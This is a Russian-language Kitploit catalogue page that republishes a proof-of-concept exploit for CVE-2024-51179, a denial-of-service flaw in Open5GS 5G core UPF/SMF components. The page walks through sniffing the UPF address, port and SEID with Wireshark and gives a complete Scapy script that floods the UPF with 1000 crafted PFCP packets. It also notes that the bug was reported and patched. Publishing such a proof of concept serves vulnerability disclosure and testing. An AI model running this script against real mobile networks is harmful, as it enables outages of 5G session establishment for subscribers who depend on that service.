Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-51179 — Эксплойт для проверки концепции для CVE-2024-51179: лавинная рассылка специально сформированных PFCP-пакетов приводит к отказу в обслуживании в Open5GS UPF/SMF, нарушая установление PDU-сеансов в ядре 5G. | Kitploit
Инструменты/GitHubGitHub/lakshmirnr/cve-2024-51179
Сниффинг и анализ пакетовАнализ уязвимостейЭксплуатацияСетевая безопасностьТестирование на Проникновение
GitHublakshmirnr/cve-2024-51179

CVE-2024-51179

Эксплойт для проверки концепции для CVE-2024-51179: лавинная рассылка специально сформированных PFCP-пакетов приводит к отказу в обслуживании в Open5GS UPF/SMF, нарушая установление PDU-сеансов в ядре 5G.

Репозиторий
41 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-51179 : Затопление поддельными пакетами от атакующего может вызвать сбой UPF/SMF в Open5gs

Описание уязвимости

Описание: Проблема в Open5GS v.2.7.1 позволяет удаленному атакующему вызвать отказ в обслуживании через виртуализацию сетевых функций (NFV), таких как функция пользовательской плоскости (UPF) и функция управления сеансами (SMF). Процесс установления сеанса блока пакетных данных (PDU) нарушается из-за сбоев, происходящих в NFV.

Атакующий, после получения IP-адреса функции пользовательской плоскости (UPF), порта PFCP и идентификатора конечной точки сеанса (SEID), может создавать и отправлять поток вредоносных пакетов PFCP (протокол управления пересылкой пакетов) на UPF. Необходимые параметры могут быть перехвачены с помощью таких инструментов, как Wireshark, если атакующий имеет доступ к трафику пользовательской плоскости.

Тип уязвимости: Отказ в обслуживании

Воздействие: После отправки вредоносного пакета UPF переходит в ошибочное состояние, нарушая установление новых сеансов PDU. Кроме того, под воздействие попадает SMF (функция управления сеансами) из-за потока вредоносных пакетов PFCP, что нарушает работу базовых функций ядра.

ШАГИ ПО ВОСПРОИЗВЕДЕНИЮ АТАКИ

Предварительные условия: Сетевое ядро 5G было развернуто с использованием Open5GS в качестве базовой сети и UERANSIM в качестве инструмента эмуляции для gNB (базовая станция следующего поколения) и UE (пользовательское оборудование).

ШАГИ ДЛЯ ВЫПОЛНЕНИЯ АТАКИ

  1. Убедитесь, что Open5GS работает, проверив статус компонентов Open5GS (AMF, SMF, UPF и т.д.)
  2. Проверьте установление сеанса PDU, используя UERANSIM для инициации сеанса PDU и захвата трафика с помощью Wireshark.
  3. Откройте Wireshark и выберите сетевой интерфейс, используемый для пользовательской плоскости.
  4. Начните захват трафика с фильтром отображения для пакетов PFCP:
  5. Инициируйте сеанс PDU из UERANSIM, чтобы убедиться, что пакеты PFCP видны в захвате.
  6. В Wireshark найдите и запишите IP-адрес UPF, порт UPF (обычно 8805) и SEID из захваченных пакетов PFCP.
  7. Используйте следующий скрипт для отправки потока пакетов на UPF.
root@kitploit:~
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"  
UPF_PORT = 8805  
message_type = 53  
sequence_number = 1
seid = 0x0010000000000000  
version = 1 
spare = 0
mp = 0  
s_flag = 1  
byte0 = (version << 5) | (s_flag << 2)
length = 0  
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150  
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4  
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):  
    send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")
  1. Мониторьте сетевое воздействие с помощью Wireshark или проверяйте логи на предмет аномалий или сбоев в обработке пакетов.
  2. Попробуйте установить новые сеансы PDU из UERANSIM, чтобы проверить, не происходит ли сбой установления из-за затопления.

СОСТОЯНИЕ SMF ПОСЛЕ АТАКИ

smfcurrent

ЗАХВАТ WIRESHARK ВРЕДОНОСНОГО ПАКЕТА

377424722-253fa5a4-fbae-4e0d-8638-1f1d59633b22

ТЕКУЩИЙ СТАТУС

Уязвимость, задокументированная как Issue #3497 на странице Open5GS GitHub (https://github.com/open5gs/open5gs/issues/3497), была сообщена разработчику Open5GS, который определил первопричину как проблему освобождения памяти, приводящую к сбоям системы. С тех пор был применен патч, и код обновлен для устранения проблемы. Вы можете просмотреть обновленный код здесь.

https://github.com/open5gs/open5gs/commit/e3790b45b4bc0b261e0946cf93755099a9525cfd

CVE-2024-51179 опубликован.

АВТОРЫ

DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS (C-DOT)

Скачать инструмент